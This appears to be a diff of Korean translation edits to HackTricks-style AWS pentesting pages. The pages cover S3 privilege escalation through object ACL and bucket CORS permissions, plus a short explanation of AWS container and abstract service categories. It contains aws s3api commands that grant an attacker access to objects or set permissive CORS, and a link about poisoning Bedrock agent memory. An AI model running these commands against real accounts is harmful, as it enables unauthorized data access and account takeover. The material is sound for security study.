@@ -151,7 +147,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
공격자는 이러한 권한을 악용해 버킷 내 특정 객체에 대한 접근 권한을 자신에게 더 부여할 수 있습니다.
|
||||
공격자는 이러한 권한을 악용하여 버킷 내 특정 객체에 대한 접근 권한을 자신에게 더 부여할 수 있다.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -178,16 +174,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
이 권한을 가진 공격자는 특정 객체 버전에 Acl을 적용할 수 있는 것으로 예상됩니다.
|
||||
이 권한을 가진 공격자는 특정 객체 버전(object version)에 Acl을 설정할 수 있어야 합니다.
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
이 권한을 가진 공격자는 버킷의 CORS (Cross-Origin Resource Sharing) 구성을 수정할 수 있으며, 이는 어떤 웹 도메인이 해당 엔드포인트에 접근할 수 있는지를 제어합니다. 만약 허용적인 정책을 설정하면, 어떤 웹사이트든 버킷에 직접 요청을 보내고 브라우저에서 응답을 읽을 수 있게 됩니다.
|
||||
s3:PutBucketCORS 권한을 가진 공격자는 버킷의 CORS (Cross-Origin Resource Sharing) 구성을 수정할 수 있으며, 이 구성은 어떤 웹 도메인이 버킷의 엔드포인트에 접근할 수 있는지를 제어합니다. 공격자가 너무 관대한 CORS 정책을 설정하면 어느 웹사이트든 브라우저에서 버킷으로 직접 요청을 보내고 응답을 읽을 수 있습니다.
|
||||
|
||||
즉, 잠재적으로 버킷에서 호스팅되는 웹 앱에 인증된 사용자가 공격자의 웹사이트를 방문하면, 공격자는 허용적인 CORS 정책을 악용하여 애플리케이션에 따라 사용자의 프로필 데이터에 접근하거나 심지어 사용자의 계정을 탈취할 수 있습니다.
|
||||
이는 잠재적으로 버킷에서 호스팅되는 웹 앱의 인증된 사용자가 공격자의 웹사이트를 방문할 경우, 공격자가 관대한 CORS 정책을 악용해 애플리케이션에 따라 해당 사용자의 프로필 데이터에 접근하거나 심지어 사용자의 계정을 탈취할 수 있음을 의미합니다.
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
|
||||
@@ -8,31 +8,25 @@
|
||||
|
||||
컨테이너 서비스에 해당하는 서비스는 다음과 같은 특징을 가집니다:
|
||||
|
||||
- 서비스 자체는 **별도의 인프라 인스턴스**(예: EC2)에서 실행됩니다.
|
||||
- **AWS**는 **운영 체제와 플랫폼 관리를** 담당합니다.
|
||||
- 관리형 서비스는 AWS에서 제공되며, 일반적으로 **컨테이너로 보이는 실제 애플리케이션** 자체가 서비스입니다.
|
||||
- 이러한 컨테이너 서비스를 사용하는 사용자로서, **네트워크 액세스 보안(예: 네트워크 액세스 제어 목록 규칙 및 방화벽) 관리**를 포함한 여러 관리 및 보안 책임이 있습니다.
|
||||
- 또한 플랫폼 수준의 아이덴티티 및 액세스 관리가 존재하는 경우 이를 관리해야 합니다.
|
||||
- **예시**로 AWS의 컨테이너 서비스에는 Relational Database Service, Elastic Mapreduce, Elastic Beanstalk가 포함됩니다.
|
||||
- 서비스 자체는 EC2와 같은 **별도의 인프라 인스턴스**에서 실행됩니다.
|
||||
- **AWS**는 **운영 체제와 플랫폼 관리를 책임집니다**.
|
||||
- 관리형 서비스는 AWS에서 제공되며, 일반적으로 **컨테이너로 간주되는 실제 애플리케이션 자체**입니다.
|
||||
- 이러한 컨테이너 서비스를 사용하는 사용자는 **네트워크 액세스 보안 관리(예: 네트워크 액세스 제어 리스트 규칙 및 방화벽)** 등을 포함한 여러 관리 및 보안 책임이 있습니다.
|
||||
- 또한, 존재하는 경우 플랫폼 수준의 Identity and Access Management(IAM)가 포함됩니다.
|
||||
- **예시**로는 AWS 컨테이너 서비스에 Relational Database Service, Elastic Mapreduce, Elastic Beanstalk 등이 있습니다.
|
||||
|
||||
### 추상 서비스
|
||||
|
||||
- 이러한 서비스는 **클라우드 애플리케이션이 구축되는 플랫폼 또는 관리 계층으로부터 제거되어 추상화되어 있습니다**.
|
||||
- 서비스는 AWS 애플리케이션 프로그래밍 인터페이스(API)를 사용하여 엔드포인트를 통해 액세스됩니다.
|
||||
- **기초 인프라, 운영 체제, 플랫폼은 AWS에서 관리됩니다**.
|
||||
- 추상화된 서비스는 기초 인프라가 공유되는 멀티테넌시 플랫폼을 제공합니다.
|
||||
- 이러한 서비스는 **클라우드 애플리케이션이 구축되는 플랫폼 또는 관리 계층으로부터 분리되어 추상화되어 있습니다**.
|
||||
- 이 서비스들은 AWS 애플리케이션 프로그래밍 인터페이스(APIs)를 사용한 엔드포인트를 통해 액세스됩니다.
|
||||
- **기본 인프라스트럭처, 운영 체제 및 플랫폼은 AWS에 의해 관리됩니다**.
|
||||
- 추상화된 서비스는 기본 인프라가 공유되는 다중 테넌시 플랫폼을 제공합니다.
|
||||
- **데이터는 보안 메커니즘을 통해 격리됩니다**.
|
||||
- 추상 서비스는 IAM과 강하게 통합되어 있으며, 추상 서비스의 **예시**로는 S3, DynamoDB, Amazon Glacier, SQS가 있습니다.
|
||||
- 추상 서비스는 IAM과 강하게 통합되어 있으며, **예시**로는 S3, DynamoDB, Amazon Glacier, SQS 등이 있습니다.
|
||||
|
||||
## 서비스 열거
|
||||
|
||||
**이 섹션의 페이지들은 AWS 서비스별로 정렬되어 있습니다. 해당 페이지들에서 서비스에 대한 정보(동작 방식과 기능)를 찾아보고 이를 통해 escalate privileges 할 수 있습니다.**
|
||||
**이 섹션의 페이지는 AWS 서비스별로 정렬되어 있습니다. 해당 페이지들에서 서비스에 대한 정보(동작 방식 및 기능)를 찾아 권한 상승에 활용할 수 있습니다.**
|
||||
|
||||
|
||||
### 관련: Amazon Bedrock 보안
|
||||
|
||||
{{#ref}}
|
||||
aws-bedrock-agents-memory-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user